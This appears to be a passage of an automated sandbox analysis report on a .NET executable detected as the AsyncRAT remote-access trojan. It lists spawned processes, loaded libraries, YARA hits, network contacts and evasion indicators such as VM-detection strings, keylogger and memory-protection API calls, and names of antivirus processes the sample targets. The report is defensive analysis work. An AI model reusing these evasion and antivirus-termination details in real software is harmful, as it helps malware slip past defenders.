'XDXpkYhRS8WGYilk/4IwGqgzIW11grYJw7JapruAB0xrqC6zbbRDY7NHOxwXP6zyR2jqXaTgLCmIXQJ46iLAWlDB/egix4ythub7pRzZagwovoc96IeBfhPbXB7ZDAjTudVyp5KzXzNEJPyNwRRaqe5hY7OuL8chiYEU5i9QS8mafScnga6mHFJ88BeNqyizx1wkkCUr79P0eVi5U4hr1Zww1JYUYdJvzoTCyQ99BZHPd4ihZ9kmvVnlwSPsvMD+Wa+uWhyGUb7TdQElgF33aOli+SCVoCY8VOjbwbo82c0ZggzMI5flBv31eHJLFM4xm1xsHN4gFgtK0d3U04OS/mH9d0wPWsPkcoX6tgsPPt/XhcjNHFUx2Q21w2fYK4fehfY+9Zysw2vF7cGN1CbkJ/E1wPxUtjovRcNfwC3owD25sYiZpz42G4rRx04xlM+FniB+z4UApadENJuDmJjKJU7RPD29eDSsgRdUEhGj4ISu7BH7ne08/RsPjOSKVNRtdLn08+gEZTxAV7ldzVtt9lHMXDcMsLxdcNrvWgdth7fCUO+caJQMG67RS7nFdh9woxNrnsL6QCv3DgAdanvn0+2+Hw6/IG+aEJZjoJfzpbNoCLSZ6dGJCXbtwN0/LGKzgdi4HlTQxqqDWKOoKC3eWypqoj/dU8VSNnQgvR9VKXscsADepAZN39+Hh3k1RZqwNqtFKD0C9jR67YeIItM3zZVxgdH7aQfL2wL/woUFccfr580vtt3b3bAd4uYxvQJRmucI6gnBOm12vso6IhxXiHP3QnoQp5SKaTOIvyfTAtC6qEy22uzLSD1YI8nXWapaqoPf9UcGHTBo5jQLUfsakL3zp6LtWFjd6+Gax35w06GtNb7YxJmuurxp+HNQukAcrEdxcsWy46FxahqwT1txNMIb3DaIv9AzvrYwJZ9kQWQ5DBTlEYJE2qhjcy5Qx09upxM/FN6VqzPJcT7jTBAWE6qsBHrVdvj2EDPKdpXQD/Me5Mudu7qtK9hlXnQHDM7GYXKygtfjN3gzJcZ0dQG5G/0vGeuUaLkP+H8TetwxOIhtq09lhHeuM8YFWt25yDZ+', 'KiKGTpI4rxj6QQT4E4kJI+SnHTdj1UbcJmKNvHjX6/DBF5p7yJFVfH4I9rkp7syoYn0OxqslJ86j9Abh7e7AhA==', 'vbGJqivXh6TY//32e3NkAMsK3inu7RLf9cK35T1C/AkMmT/TUmcHpChY9BLfk3lm2ySPPE2tirk820n/Furu8w==', 'qo/SK2p+f/Zfm9FtCYaV5XME0G3kCCAfriHdDkUi5OOlp5Cb7AN6CJsVHGFTdrhSAj5VDDwIGV+NEtnIkznSXA==', 'l7knJCzKqw68RMnowgrOjgqCjO54idsEdj2eVkR1Cn8iMS8wSYPjDI68uHet/iIWFCCjtVs15M5kVusbV3iyLw=='
Source: classification engine Classification label: mal92.troj.spyw.evad.winEXE@24/59@8/6
Source: UrfBRh4Hs5.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: UrfBRh4Hs5.exe Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: UrfBRh4Hs5.exe ReversingLabs: Detection: 42%
Source: UrfBRh4Hs5.exe Virustotal: Detection: 51%
Source: unknown Process created: C:\Users\user\Desktop\UrfBRh4Hs5.exe "C:\Users\user\Desktop\UrfBRh4Hs5.exe"
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=UrfBRh4Hs5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2012,i,16626534676944360032,494382791983905283,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=UrfBRh4Hs5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1136,i,8612438543401160126,1337872098488627056,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=UrfBRh4Hs5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=UrfBRh4Hs5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2012,i,16626534676944360032,494382791983905283,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1136,i,8612438543401160126,1337872098488627056,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: windows.shell.servicehostbuilder.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1A66AEDC-93C3-4ACC-BA96-08F5716429F7}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Access\Capabilities\UrlAssociations Jump to behavior
Source: UrfBRh4Hs5.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: UrfBRh4Hs5.exe Static file information: File size 6158136 > 1048576
Source: UrfBRh4Hs5.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: UrfBRh4Hs5.exe, ClientSocket.cs .Net Code: Invoke System.AppDomain.Load(byte[])

Boot Survival
barindex
Yara detected AsyncRAT
Source: Yara match File source: UrfBRh4Hs5.exe, type: SAMPLE
Source: Yara match File source: 0.0.UrfBRh4Hs5.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000000.1631606613.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: UrfBRh4Hs5.exe PID: 7052, type: MEMORYSTR

Malware Analysis System Evasion
barindex
Yara detected AsyncRAT
Source: Yara match File source: UrfBRh4Hs5.exe, type: SAMPLE
Source: Yara match File source: 0.0.UrfBRh4Hs5.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000000.1631606613.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: UrfBRh4Hs5.exe PID: 7052, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: UrfBRh4Hs5.exe Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE
Source: UrfBRh4Hs5.exe, 00000000.00000002.1713985498.0000000001DBF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: UrfBRh4Hs5.exe, Keylogger.cs Reference to suspicious API methods: MapVirtualKey(vkCode, 0u)
Source: UrfBRh4Hs5.exe, DInvokeCore.cs Reference to suspicious API methods: DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref Parameters)
Source: UrfBRh4Hs5.exe, AntiProcess.cs Reference to suspicious API methods: OpenProcess(1u, bInheritHandle: false, processId)
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=UrfBRh4Hs5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Jump to behavior
Source: C:\Users\user\Desktop\UrfBRh4Hs5.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=UrfBRh4Hs5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Yara detected AsyncRAT
Source: Yara match File source: UrfBRh4Hs5.exe, type: SAMPLE
Source: Yara match File source: 0.0.UrfBRh4Hs5.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000000.1631606613.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: UrfBRh4Hs5.exe PID: 7052, type: MEMORYSTR
AV process strings found (often used to terminate AV products)
Source: UrfBRh4Hs5.exe, 00000000.00000000.1631606613.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: MSASCui.exe
Source: UrfBRh4Hs5.exe, 00000000.00000000.1631606613.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: procexp.exe
Source: UrfBRh4Hs5.exe, 00000000.00000000.1631606613.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: MsMpEng.exe
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1447640 Sample: UrfBRh4Hs5.exe Startdate: 26/05/2024 Architecture: WINDOWS Score: 92 31 Found malware configuration 2->31 33 Malicious sample detected (through community Yara rule) 2->33 35 Multi AV Scanner detection for submitted file 2->35 37 6 other signatures 2->37 7 UrfBRh4Hs5.exe 12 2->7         started        process3 process4 9 chrome.exe 1 7->9         started        12 chrome.exe 7->12         started        dnsIp5 19 192.168.2.4, 138, 443, 50942 unknown unknown 9->19 21 192.168.2.6 unknown unknown 9->21 23 239.255.255.250 unknown Reserved 9->23 14 chrome.exe 9->14         started        17 chrome.exe 12->17         started        process6 dnsIp7 25 part-0033.t-0009.t-msedge.net 13.107.213.61, 443, 57293 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 14->25 27 part-0014.t-0009.t-msedge.net 13.107.246.42, 443, 57294 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 14->27 29 7 other IPs or domains 14->29
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
13.107.246.42
 part-0014.t-0009.t-msedge.net United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
216.58.206.68
 www.google.com United States
15169 GOOGLEUS false
239.255.255.250
 unknown Reserved
unknown unknown false
13.107.213.61
 part-0033.t-0009.t-msedge.net United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false

Private

IP
192.168.2.4
192.168.2.6

Contacted Domains

Name IP Active
part-0033.t-0009.t-msedge.net 13.107.213.61 true
part-0014.t-0009.t-msedge.net 13.107.246.42 true
www.google.com 216.58.206.68 true
js.monitor.azure.com unknown unknown
mdec.nelreports.net unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://js.monitor.azure.com/scripts/c/ms.jsll-3.min.js false
  • URL Reputation: safe
  • URL Reputation: safe
 unknown